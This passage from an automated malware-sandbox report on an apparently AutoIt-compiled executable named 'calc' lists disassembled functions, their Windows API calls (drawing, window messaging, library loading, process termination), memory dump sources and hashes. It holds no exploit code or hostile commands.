      • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,000000FF,00000000,00000000,?,00000000,?,0044BFA2,?,0045B1B8,00000060), ref: 00453779
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CommandLine$ByteCharMultiWide$ErrorLast
      • String ID:
      • API String ID: 1286790906-0
      • Opcode ID: 4ae61c304a27cbe0ba5a07a8ac8c256a68ebac5d96ee0fde0b4030c66ad36e61
      • Instruction ID: 6a2698e997fe883244a90919812289e027963571f45adb5c732ca680cf72a7a1
      • Opcode Fuzzy Hash: 4ae61c304a27cbe0ba5a07a8ac8c256a68ebac5d96ee0fde0b4030c66ad36e61
      • Instruction Fuzzy Hash: 281148F190821DABD6207EA59C84E37768DC70D3EBF21422BFD05C3183D699DD48866D
      Function 00411E91 Relevance: 9.1, APIs: 6, Instructions: 56sleepCOMMON
      Download Yara Rule
      APIs
      • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411EA3
      • QueryPerformanceCounter.KERNEL32(004115DC,?,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411ED0
      • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411EDA
      • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411EE2
      • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,004115DC,?,?,00000000), ref: 00411EEC
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: PerformanceQuery$CounterSleep$Frequency
      • String ID:
      • API String ID: 2833360925-0
      • Opcode ID: 227dc428acba349b87143b21466f78d99fc1399157bde67c1f8ea1aba1aa589c
      • Instruction ID: fd00bcc09fcb72a1d4ee2113bc4141e302d44ef8310011320d93385828451225
      • Opcode Fuzzy Hash: 227dc428acba349b87143b21466f78d99fc1399157bde67c1f8ea1aba1aa589c
      • Instruction Fuzzy Hash: 73118F31D1462EEBCF009FE4ED89AEDBB78FF08301F0004A6E541A2161EB38D595C769
      Function 0040CBFD Relevance: 9.1, APIs: 6, Instructions: 54COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0040CCF8: DeleteObject.GDI32(?), ref: 0040CD3D
        • Part of subcall function 0040CCF8: ExtCreatePen.GDI32(?,?,?,00000000,00000000,?,?), ref: 0040CD84
        • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CD94
        • Part of subcall function 0040CCF8: BeginPath.GDI32(?), ref: 0040CDAE
        • Part of subcall function 0040CCF8: SelectObject.GDI32(?,00000000), ref: 0040CDCD
      • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0040CC31
      • LineTo.GDI32(?,?,00000000), ref: 0040CC41
      • MoveToEx.GDI32(?,?,-00000002,00000000), ref: 0040CC4F
      • LineTo.GDI32(?,?,-00000003), ref: 0040CC5B
      • EndPath.GDI32(?), ref: 0040CC6E
      • StrokePath.GDI32(?), ref: 0040CC7A
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
      • String ID:
      • API String ID: 372113273-0
      • Opcode ID: 9ecf42e750dd20d58ba297a2de3f40783d5e83dbea0e0e233273d38df79948fd
      • Instruction ID: f30265a1fcac77ba34f8cd65a0e3c2bfe06a34cf91edbd35c06c720051772893
      • Opcode Fuzzy Hash: 9ecf42e750dd20d58ba297a2de3f40783d5e83dbea0e0e233273d38df79948fd
      • Instruction Fuzzy Hash: 27115A32100248BBDF119F64EC48FDA7B69EF49320F148525FD18662E1C7759910DB64
      Function 00414563 Relevance: 9.0, APIs: 6, Instructions: 41windowtimethreadCOMMON
      Download Yara Rule
      APIs
      • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00414572
      • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0041458A
      • GetWindowThreadProcessId.USER32(?,?), ref: 0041459C
      • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 004145AB
      • TerminateProcess.KERNEL32(00000000,00000000), ref: 004145B5
      • CloseHandle.KERNEL32(00000000), ref: 004145BC
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
      • String ID:
      • API String ID: 839392675-0
      • Opcode ID: 00d819eeed1d390f532930fa1349814da3c729ed7603d7904b804da2bb56bfe2
      • Instruction ID: ed9ddd3d8bd6e0158ad2fd664c2ba70d314683d2c30b968afa84626bca73c302
      • Opcode Fuzzy Hash: 00d819eeed1d390f532930fa1349814da3c729ed7603d7904b804da2bb56bfe2
      • Instruction Fuzzy Hash: 32F0F97214122DFBEB215B62DC0DEEF3E6CEF457A2F004124FA0595062E7719E52DAA4
      Function 0040EF2E Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 222libraryloaderCOMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressProc$_strcat_strlen
      • String ID: AU3_FreeVar
      • API String ID: 3781172953-771828931
      • Opcode ID: f755689ba0317ca6e85fd18ae85c3e0849ae2f517dbfb39af000fc596970bd77
      • Instruction ID: c71524f2f339666a60e8fdc2e6ee78f872a6af596eaf6628cc854a2bbacd3a1d
      • Opcode Fuzzy Hash: f755689ba0317ca6e85fd18ae85c3e0849ae2f517dbfb39af000fc596970bd77
      • Instruction Fuzzy Hash: 3371C231900206EFDB20AF66C8419AE77A1FF04314F15457FF805BB692CB78AD51DB99
      Function 0042E1C8 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 193COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0042FF39: LoadLibraryA.KERNEL32(kernel32.dll,0042E1E0), ref: 0042FF44
        • Part of subcall function 0042FF39: GetProcAddress.KERNEL32(00000000,GlobalMemoryStatusEx), ref: 0042FF56
      • GlobalMemoryStatus.KERNEL32(?), ref: 0042E2D2
      • FreeLibrary.KERNEL32(00000000), ref: 0042E40A
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$AddressFreeGlobalLoadMemoryProcStatus
      • String ID: $@$#v
      • API String ID: 994989557-4049658112
      • Opcode ID: 755732f14303fd7855877f7d53b39952d9f77ec8dbe8b95e36a72e8eda6e09c8
      • Instruction ID: 13678e41d3e0e1f1e17025958ba3afce431628d6abb03d136634acb3700533c3
      • Opcode Fuzzy Hash: 755732f14303fd7855877f7d53b39952d9f77ec8dbe8b95e36a72e8eda6e09c8
      • Instruction Fuzzy Hash: 9B716030A04E1CE7CF10AFA6F945ADDBBB0FF4C316F115099E584A2185DF7A95A4C70A
      Function 0042A72A Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0042FE9D: LoadLibraryA.KERNEL32(Wininet.dll,0042A74E), ref: 0042FEA8
        • Part of subcall function 0042FE9D: GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 0042FEBA
      • FreeLibrary.KERNEL32(00000000,00000000,00000000,00000000), ref: 0042A886
        • Part of subcall function 0041FAEE: LoadStringW.USER32(00000066,?,00000FFF,00479E08), ref: 0041FB43
        • Part of subcall function 0041FAEE: LoadStringW.USER32(0047BD30,?,00000FFF), ref: 0041FB56
      • FreeLibrary.KERNEL32(00000000,0000008C,000000FF), ref: 0042A76B
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: LibraryLoad$FreeString$AddressProc
      • String ID: abort$#v
      • API String ID: 160771276-3171842513
      • Opcode ID: 959bd9e425b7cd7b2e0e749f0e19e3e935c99c9a3cc62746977b244b63f99125
      • Instruction ID: 05c2d4eacd22ad3a369de7ab5a96b2d38cb26c9fb751937e48658670b96f3f86
      • Opcode Fuzzy Hash: 959bd9e425b7cd7b2e0e749f0e19e3e935c99c9a3cc62746977b244b63f99125
      • Instruction Fuzzy Hash: D241F730B00224FBDB15AB65E8457AAB3A4AF08315F50816BFC1596242C73C9E66CBDF
      Function 00402EA9 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON
      Download Yara Rule
      APIs
      • GetDlgCtrlID.USER32(00000000), ref: 00402EC5
      • GetClassNameW.USER32(00000000,?,00000100), ref: 00402EFE
      • GetClassNameW.USER32(00000000,?,00000100), ref: 00402F32
      • GetWindowTextW.USER32(00000000,?,00000400), ref: 00402FA8
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ClassName$CtrlTextWindow
      • String ID: %s%u
      • API String ID: 1688678639-679674701
      • Opcode ID: 947148774540dff31e6aed68a01ca84cde0561eaa18c795ad85923dc22bcf546
      • Instruction ID: 59a3a07e9672421e03da28893bea5f44c94612d97090578beec70d5de532437a
      • Opcode Fuzzy Hash: 947148774540dff31e6aed68a01ca84cde0561eaa18c795ad85923dc22bcf546
      • Instruction Fuzzy Hash: A8418371800209AFDB61DF50CA88BABB7F8FF14305F10846AE846A25C1E778FE45DB54
      Function 00402148 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 004021EC
      • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 004021FD
      • SendMessageW.USER32(?,00000189,00000000,00000000), ref: 0040221C
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend
      • String ID: ComboBox$ListBox
      • API String ID: 3850602802-1403004172
      • Opcode ID: ce447b253be3febd0b8e07ac2eaa564c4ee394673d04f414bee972a33d411258
      • Instruction ID: d60bcdc587e95717233e0f7665ce71fa6e7cb240bbe0e6ca57382d096394546a
      • Opcode Fuzzy Hash: ce447b253be3febd0b8e07ac2eaa564c4ee394673d04f414bee972a33d411258
      • Instruction Fuzzy Hash: A931E531940214BADF216BA5DC4ABDE7FB49F05324F1041EBF5007B1E2C7B9498A9B48
      Function 0040B89C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92windowCOMMON
      Download Yara Rule
      APIs
      • GetMenuItemInfoW.USER32(?,?,00000000,0000002C), ref: 0040B938
      • IsMenu.USER32(?), ref: 0040B94B
      • InsertMenuItemW.USER32(?,?,00000001,0000002C), ref: 0040B993
      • DrawMenuBar.USER32(?), ref: 0040B9A3
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Menu$Item$DrawInfoInsert
      • String ID: ,
      • API String ID: 3076010158-3772416878
      • Opcode ID: 39640288cca488a7b30a7f5d3a4a61f8e094b4a337d8e2623057536b5fde24b8
      • Instruction ID: 157fbe030ffd1d9a8f4ddc3f90bad3240d8ce1212160fce4c0ed0f8fe47e7c62
      • Opcode Fuzzy Hash: 39640288cca488a7b30a7f5d3a4a61f8e094b4a337d8e2623057536b5fde24b8
      • Instruction Fuzzy Hash: 173148B1900208EFDB10CF64D984ADABBB5FF85304F14806AEA51AB3A1D738DD45DF98
      Function 0040EE82 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55libraryloaderCOMMON
      Download Yara Rule
      APIs
      • LoadLibraryA.KERNEL32(?), ref: 0040EEA9
      • GetProcAddress.KERNEL32(00000000,AU3_GetPluginDetails), ref: 0040EEC1
      • FreeLibrary.KERNEL32 ref: 0040EECD
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Library$AddressFreeLoadProc
      • String ID: AU3_GetPluginDetails$#v
      • API String ID: 145871493-3662034293
      • Opcode ID: bf52db12d3d9933b844a19cd8c859c7f95544091a9fd9c7a58190ead5e102cca
      • Instruction ID: e1a76256ef9ae7ff8ee669f6e948607f4e0c31d0b2043c83b6dad8dec330593a
      • Opcode Fuzzy Hash: bf52db12d3d9933b844a19cd8c859c7f95544091a9fd9c7a58190ead5e102cca
      • Instruction Fuzzy Hash: 5E117C72600209EFDB258F66CC44B9A7BE8FB513A2F10487AE546E71D0D734DA50CA98
      Function 0044AEC1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 0044AECF
        • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
      • GetCurrentProcess.KERNEL32(?,0045B120,00000008,0044AFA2,?,00000001,00000000,00454705,00000003), ref: 0044AEE8
      • TerminateProcess.KERNEL32(00000000), ref: 0044AEEF
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Process$CriticalCurrentEnterSectionTerminate__lock
      • String ID: HPF$TPF
      • API String ID: 3423101658-1347700362
      • Opcode ID: 01c87344a4cae5e3681496b825a42178ba2a6b050c6aa545966f9789e09d8f4c
      • Instruction ID: 94eac9cb3b00db43925a1aac6e74254190fb75927c93439ef9a830854e02c62f
      • Opcode Fuzzy Hash: 01c87344a4cae5e3681496b825a42178ba2a6b050c6aa545966f9789e09d8f4c
      • Instruction Fuzzy Hash: 4211E971881610EFEB11AF65DC0514E7B65EB40715B20852BF4504A1A2EF7C88A68B5F
      Function 00409CDF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46windowCOMMON
      Download Yara Rule
      APIs
      • CreateWindowExW.USER32(?,?,00000000,?,?,?,?,?,?,?,?,?), ref: 00409D15
      • GetStockObject.GDI32(00000011), ref: 00409D2B
      • SendMessageW.USER32(00000000,00000030,00000000), ref: 00409D35
      • ShowWindow.USER32(00000000,00000000,?,0040AA2A,?,Combobox,00000000,00000000,?,?,?,?,00000000,00000000,00000001,?), ref: 00409D4D
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$CreateMessageObjectSendShowStock
      • String ID: P
      • API String ID: 1358664141-3110715001
      • Opcode ID: 80a01e5952e50f59478d35168b5b5eb0f65f36e5d1155f84b8e4c2303647d9f8
      • Instruction ID: 7eed761070e5c0e1afa5280e21cb20fe8a54fd27ed28cfac5585aa4bc5c1357b
      • Opcode Fuzzy Hash: 80a01e5952e50f59478d35168b5b5eb0f65f36e5d1155f84b8e4c2303647d9f8
      • Instruction Fuzzy Hash: 99015773104289BFDF124FA09C88EEA3F6AAF88355F058129FB54511A2C3368CA5EB15
      Function 00454432 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 29libraryloaderCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • GetModuleHandleA.KERNEL32(kernel32.dll,0045C190,00000010,0044C68C,00000000,00000FA0,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00454455
      • GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 00454465
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressHandleModuleProc
      • String ID: InitializeCriticalSectionAndSpinCount$`#v$kernel32.dll
      • API String ID: 1646373207-1060584518
      • Opcode ID: b2281aa7dc65de71af2c7f2e0e9f86939ad9221b3d5d80ab7c10ad16ea6640b2
      • Instruction ID: ab1926dd2af41fa3029d16cc9033a7aba392298642699e74dd3f1240ded0750e
      • Opcode Fuzzy Hash: b2281aa7dc65de71af2c7f2e0e9f86939ad9221b3d5d80ab7c10ad16ea6640b2
      • Instruction Fuzzy Hash: 96F09070580301ABDF249FB59C45B5936E0BB4575EF208626FC10992A3E77C8A8AEB0D
